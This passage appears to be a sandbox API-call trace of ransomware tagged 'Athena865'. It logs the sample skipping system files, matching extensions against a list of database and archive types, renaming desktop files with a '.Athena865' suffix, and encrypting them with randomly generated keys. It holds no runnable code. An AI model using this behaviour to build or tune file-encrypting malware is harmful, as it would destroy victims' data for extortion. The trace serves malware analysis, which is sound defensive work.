(lpString1="0BDQB_ktEMwWI.mkv", lpString2="perflogs") returned -1 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2="MSBuild") returned -1 [0050.293] lstrlenW (lpString="0BDQB_ktEMwWI.mkv") returned 17 [0050.293] lstrcpyW (in: lpString1=0x241e8b6, lpString2="0BDQB_ktEMwWI.mkv" | out: lpString1="0BDQB_ktEMwWI.mkv") returned="0BDQB_ktEMwWI.mkv" [0050.293] lstrlenW (lpString="0BDQB_ktEMwWI.mkv") returned 17 [0050.293] lstrlenW (lpString="Athena865") returned 9 [0050.293] lstrcmpiW (lpString1="EMwWI.mkv", lpString2="Athena865") returned 1 [0050.293] lstrlenW (lpString=".dll") returned 4 [0050.293] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2=".dll") returned 1 [0050.293] lstrlenW (lpString=".lnk") returned 4 [0050.294] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2=".lnk") returned 1 [0050.294] lstrlenW (lpString=".ini") returned 4 [0050.294] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2=".ini") returned 1 [0050.294] lstrlenW (lpString=".sys") returned 4 [0050.294] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv", lpString2=".sys") returned 1 [0050.294] lstrlenW (lpString="0BDQB_ktEMwWI.mkv") returned 17 [0050.294] lstrlenW (lpString="bak") returned 3 [0050.294] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1 [0050.294] lstrlenW (lpString="ba_") returned 3 [0050.294] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1 [0050.294] lstrlenW (lpString="dbb") returned 3 [0050.294] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1 [0050.294] lstrlenW (lpString="vmdk") returned 4 [0050.294] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1 [0050.294] lstrlenW (lpString="rar") returned 3 [0050.294] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1 [0050.294] lstrlenW (lpString="zip") returned 3 [0050.294] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1 [0050.294] lstrlenW (lpString="tgz") returned 3 [0050.294] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1 [0050.294] lstrlenW (lpString="vbox") returned 4 [0050.294] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1 [0050.294] lstrlenW (lpString="vdi") returned 3 [0050.294] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1 [0050.294] lstrlenW (lpString="vhd") returned 3 [0050.294] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1 [0050.294] lstrlenW (lpString="vhdx") returned 4 [0050.294] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1 [0050.294] lstrlenW (lpString="avhd") returned 4 [0050.294] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1 [0050.294] lstrlenW (lpString="db") returned 2 [0050.294] lstrcmpiW (lpString1="kv", lpString2="db") returned 1 [0050.294] lstrlenW (lpString="db2") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1 [0050.295] lstrlenW (lpString="db3") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1 [0050.295] lstrlenW (lpString="dbf") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1 [0050.295] lstrlenW (lpString="mdf") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1 [0050.295] lstrlenW (lpString="mdb") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1 [0050.295] lstrlenW (lpString="sql") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1 [0050.295] lstrlenW (lpString="sqlite") returned 6 [0050.295] lstrcmpiW (lpString1="WI.mkv", lpString2="sqlite") returned 1 [0050.295] lstrlenW (lpString="sqlite3") returned 7 [0050.295] lstrcmpiW (lpString1="wWI.mkv", lpString2="sqlite3") returned 1 [0050.295] lstrlenW (lpString="sqlitedb") returned 8 [0050.295] lstrcmpiW (lpString1="MwWI.mkv", lpString2="sqlitedb") returned -1 [0050.295] lstrlenW (lpString="xml") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1 [0050.295] lstrlenW (lpString="$er") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1 [0050.295] lstrlenW (lpString="4dd") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1 [0050.295] lstrlenW (lpString="4dl") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1 [0050.295] lstrlenW (lpString="^^^") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1 [0050.295] lstrlenW (lpString="abs") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1 [0050.295] lstrlenW (lpString="abx") returned 3 [0050.295] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1 [0050.295] lstrlenW (lpString="accdb") returned 5 [0050.295] lstrcmpiW (lpString1="I.mkv", lpString2="accdb") returned 1 [0050.295] lstrlenW (lpString="accdc") returned 5 [0050.296] lstrcmpiW (lpString1="I.mkv", lpString2="accdc") returned 1 [0050.296] lstrlenW (lpString="accde") returned 5 [0050.296] lstrcmpiW (lpString1="I.mkv", lpString2="accde") returned 1 [0050.296] lstrlenW (lpString="accdr") returned 5 [0050.296] lstrcmpiW (lpString1="I.mkv", lpString2="accdr") returned 1 [0050.296] lstrlenW (lpString="accdt") returned 5 [0050.296] lstrcmpiW (lpString1="I.mkv", lpString2="accdt") returned 1 [0050.296] lstrlenW (lpString="accdw") returned 5 [0050.296] lstrcmpiW (lpString1="I.mkv", lpString2="accdw") returned 1 [0050.296] lstrlenW (lpString="accft") returned 5 [0050.296] lstrcmpiW (lpString1="I.mkv", lpString2="accft") returned 1 [0050.296] lstrlenW (lpString="adb") returned 3 [0050.296] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1 [0050.296] lstrlenW (lpString="adb") returned 3 [0050.296] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1 [0050.296] lstrlenW (lpString="ade") returned 3 [0050.296] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1 [0050.296] lstrlenW (lpString="adf") returned 3 [0050.296] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1 [0050.296] lstrlenW (lpString="adn") returned 3 [0050.296] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1 [0050.296] lstrlenW (lpString="adp") returned 3 [0050.296] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1 [0050.296] lstrlenW (lpString="alf") returned 3 [0050.296] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1 [0050.296] lstrlenW (lpString="ask") returned 3 [0050.296] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1 [0050.296] lstrlenW (lpString="btr") returned 3 [0050.296] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1 [0050.296] lstrlenW (lpString="cat") returned 3 [0050.296] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1 [0050.297] lstrlenW (lpString="cdb") returned 3 [0050.297] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1 [0050.297] lstrlenW (lpString="ckp") returned 3 [0050.297] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1 [0050.297] lstrlenW (lpString="cma") returned 3 [0050.297] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1 [0050.297] lstrlenW (lpString="cpd") returned 3 [0050.297] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1 [0050.297] lstrlenW (lpString="dacpac") returned 6 [0050.297] lstrcmpiW (lpString1="WI.mkv", lpString2="dacpac") returned 1 [0050.297] lstrlenW (lpString="dad") returned 3 [0050.297] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1 [0050.297] lstrlenW (lpString="dadiagrams") returned 10 [0050.297] lstrcmpiW (lpString1="tEMwWI.mkv", lpString2="dadiagrams") returned 1 [0050.297] lstrlenW (lpString="daschema") returned 8 [0050.297] lstrcmpiW (lpString1="MwWI.mkv", lpString2="daschema") returned 1 [0050.297] lstrlenW (lpString="db-journal") returned 10 [0050.297] lstrcmpiW (lpString1="tEMwWI.mkv", lpString2="db-journal") returned 1 [0050.297] lstrlenW (lpString="db-shm") returned 6 [0050.297] lstrcmpiW (lpString1="WI.mkv", lpString2="db-shm") returned 1 [0050.297] lstrlenW (lpString="db-wal") returned 6 [0050.297] lstrcmpiW (lpString1="WI.mkv", lpString2="db-wal") returned 1 [0050.297] lstrlenW (lpString="dbc") returned 3 [0050.297] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1 [0050.297] lstrlenW (lpString="dbs") returned 3 [0050.297] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1 [0050.297] lstrlenW (lpString="dbt") returned 3 [0050.297] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1 [0050.297] lstrlenW (lpString="dbv") returned 3 [0050.297] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1 [0050.297] lstrlenW (lpString="dbx") returned 3 [0050.297] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1 [0050.297] lstrlenW (lpString="dcb") returned 3 [0050.298] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1 [0050.298] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1 [0050.298] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\0BDQB_ktEMwWI.mkv.Athena865") returned 82 [0050.298] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\0BDQB_ktEMwWI.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\0bdqb_ktemwwi.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\0BDQB_ktEMwWI.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\0bdqb_ktemwwi.mkv.athena865"), dwFlags=0x1) returned 1 [0050.298] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\0BDQB_ktEMwWI.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\0bdqb_ktemwwi.mkv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.299] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19994) returned 1 [0050.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.299] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.300] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.300] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.300] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5120, lpName=0x0) returned 0x17c [0050.300] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5120) returned 0x100000 [0050.301] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.302] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.302] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.303] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.303] CloseHandle (hObject=0x17c) returned 1 [0050.303] CloseHandle (hObject=0x154) returned 1 [0050.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.304] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aacd840, ftCreationTime.dwHighDateTime=0x1d4c6c3, ftLastAccessTime.dwLowDateTime=0x6a24c9f0, ftLastAccessTime.dwHighDateTime=0x1d4c656, ftLastWriteTime.dwLowDateTime=0x6a24c9f0, ftLastWriteTime.dwHighDateTime=0x1d4c656, nFileSizeHigh=0x0, nFileSizeLow=0xb175, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2PNwixRw8sLi9r -n.mp3", cAlternateFileName="2PNWIX~1.MP3")) returned 1 [0050.304] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.304] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.304] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2=".") returned 1 [0050.304] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="..") returned 1 [0050.304] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="windows") returned -1 [0050.304] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="bootmgr") returned -1 [0050.304] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="temp") returned -1 [0050.304] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="pagefile.sys") returned -1 [0050.304] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="boot") returned -1 [0050.304] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="ids.txt") returned -1 [0050.305] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="ntuser.dat") returned -1 [0050.305] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="perflogs") returned -1 [0050.305] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2="MSBuild") returned -1 [0050.305] lstrlenW (lpString="2PNwixRw8sLi9r -n.mp3") returned 21 [0050.305] lstrcpyW (in: lpString1=0x241e8b6, lpString2="2PNwixRw8sLi9r -n.mp3" | out: lpString1="2PNwixRw8sLi9r -n.mp3") returned="2PNwixRw8sLi9r -n.mp3" [0050.305] lstrlenW (lpString="2PNwixRw8sLi9r -n.mp3") returned 21 [0050.305] lstrlenW (lpString="Athena865") returned 9 [0050.305] lstrcmpiW (lpString1="9r -n.mp3", lpString2="Athena865") returned -1 [0050.305] lstrlenW (lpString=".dll") returned 4 [0050.305] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2=".dll") returned 1 [0050.305] lstrlenW (lpString=".lnk") returned 4 [0050.305] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2=".lnk") returned 1 [0050.305] lstrlenW (lpString=".ini") returned 4 [0050.305] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2=".ini") returned 1 [0050.305] lstrlenW (lpString=".sys") returned 4 [0050.305] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3", lpString2=".sys") returned 1 [0050.305] lstrlenW (lpString="2PNwixRw8sLi9r -n.mp3") returned 21 [0050.305] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\2PNwixRw8sLi9r -n.mp3.Athena865") returned 86 [0050.305] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\2PNwixRw8sLi9r -n.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\2pnwixrw8sli9r -n.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\2PNwixRw8sLi9r -n.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\2pnwixrw8sli9r -n.mp3.athena865"), dwFlags=0x1) returned 1 [0050.306] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\2PNwixRw8sLi9r -n.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\2pnwixrw8sli9r -n.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.306] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=45429) returned 1 [0050.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.306] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.307] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.307] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.307] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb480, lpName=0x0) returned 0x17c [0050.307] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb480) returned 0x100000 [0050.309] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.310] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.310] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.311] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.311] CloseHandle (hObject=0x17c) returned 1 [0050.311] CloseHandle (hObject=0x154) returned 1 [0050.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.313] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf77c3600, ftCreationTime.dwHighDateTime=0x1d4ccd5, ftLastAccessTime.dwLowDateTime=0x41ad8940, ftLastAccessTime.dwHighDateTime=0x1d4d050, ftLastWriteTime.dwLowDateTime=0x41ad8940, ftLastWriteTime.dwHighDateTime=0x1d4d050, nFileSizeHigh=0x0, nFileSizeLow=0x1798c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4LIZhN9Y.png", cAlternateFileName="")) returned 1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2=".") returned 1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="..") returned 1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="windows") returned -1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="bootmgr") returned -1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="temp") returned -1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="pagefile.sys") returned -1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="boot") returned -1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="ids.txt") returned -1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="ntuser.dat") returned -1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="perflogs") returned -1 [0050.313] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2="MSBuild") returned -1 [0050.313] lstrlenW (lpString="4LIZhN9Y.png") returned 12 [0050.313] lstrcpyW (in: lpString1=0x241e8b6, lpString2="4LIZhN9Y.png" | out: lpString1="4LIZhN9Y.png") returned="4LIZhN9Y.png" [0050.313] lstrlenW (lpString="4LIZhN9Y.png") returned 12 [0050.313] lstrlenW (lpString="Athena865") returned 9 [0050.313] lstrcmpiW (lpString1="ZhN9Y.png", lpString2="Athena865") returned 1 [0050.313] lstrlenW (lpString=".dll") returned 4 [0050.314] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2=".dll") returned 1 [0050.314] lstrlenW (lpString=".lnk") returned 4 [0050.314] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2=".lnk") returned 1 [0050.314] lstrlenW (lpString=".ini") returned 4 [0050.314] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2=".ini") returned 1 [0050.314] lstrlenW (lpString=".sys") returned 4 [0050.314] lstrcmpiW (lpString1="4LIZhN9Y.png", lpString2=".sys") returned 1 [0050.314] lstrlenW (lpString="4LIZhN9Y.png") returned 12 [0050.314] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\4LIZhN9Y.png.Athena865") returned 77 [0050.314] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\4LIZhN9Y.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\4lizhn9y.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\4LIZhN9Y.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\4lizhn9y.png.athena865"), dwFlags=0x1) returned 1 [0050.315] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\4LIZhN9Y.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\4lizhn9y.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.315] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=96652) returned 1 [0050.315] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.315] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.315] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.315] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.316] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.316] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.316] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17c90, lpName=0x0) returned 0x17c [0050.316] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17c90) returned 0x100000 [0050.320] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.320] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.320] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.321] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.322] CloseHandle (hObject=0x17c) returned 1 [0050.322] CloseHandle (hObject=0x154) returned 1 [0050.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 